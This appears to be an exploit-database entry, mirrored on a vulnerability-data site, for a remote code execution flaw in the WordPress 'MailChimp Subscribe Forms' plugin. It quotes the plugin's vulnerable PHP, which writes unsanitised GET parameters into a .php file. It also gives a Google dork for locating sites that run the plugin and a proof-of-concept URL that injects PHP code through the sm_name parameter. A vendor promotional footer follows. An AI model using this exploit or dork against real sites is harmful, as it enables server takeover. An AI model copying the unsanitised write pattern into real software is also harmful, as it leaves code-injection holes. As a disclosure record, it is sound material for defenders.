`# Exploit Title: Wordpress Plugin MailChimp Subscribe Forms - Remote Code Execution
# Date: 23-03-2016
# Exploit Author: CrashBandicot
# Google Dork : inurl:/wp-content/plugins/mailchimp-subscribe-sm/
# Vendor Homepage: https://fr.wordpress.org/plugins/mailchimp-subscribe-sm/
# Tested on: MSWin32
# Version: 1.1
# Vulnerability in GET
# Put your mail for subscribe and send but add in URL the Parameter sm_name with PHP Code
# Vulnerable Files : mailchimp-subscribe-sm/inc/store-address.php
18. if(!preg_match("/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*$/i", $_GET['sm_email'])) {
...
23. $smf_data = '* Name : '.$_GET['sm_name'];
24. $smf_data .= ' Email : '.$_GET['sm_email'].' , '. PHP_EOL;
...
36. $file = "sm_subscribers_list.php";
...
39. $fp = fopen($file, "a");
40. fwrite($fp, $smf_data);
...
42. fclose($fp);
# PoC : localhost/subscribe/[email protected]&sm_name=<?php phpinfo(); ?>&submit=subscribe
# Result in file sm_subscribers_list.php
# PicS : http://i.imgur.com/HHtuycC.png
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation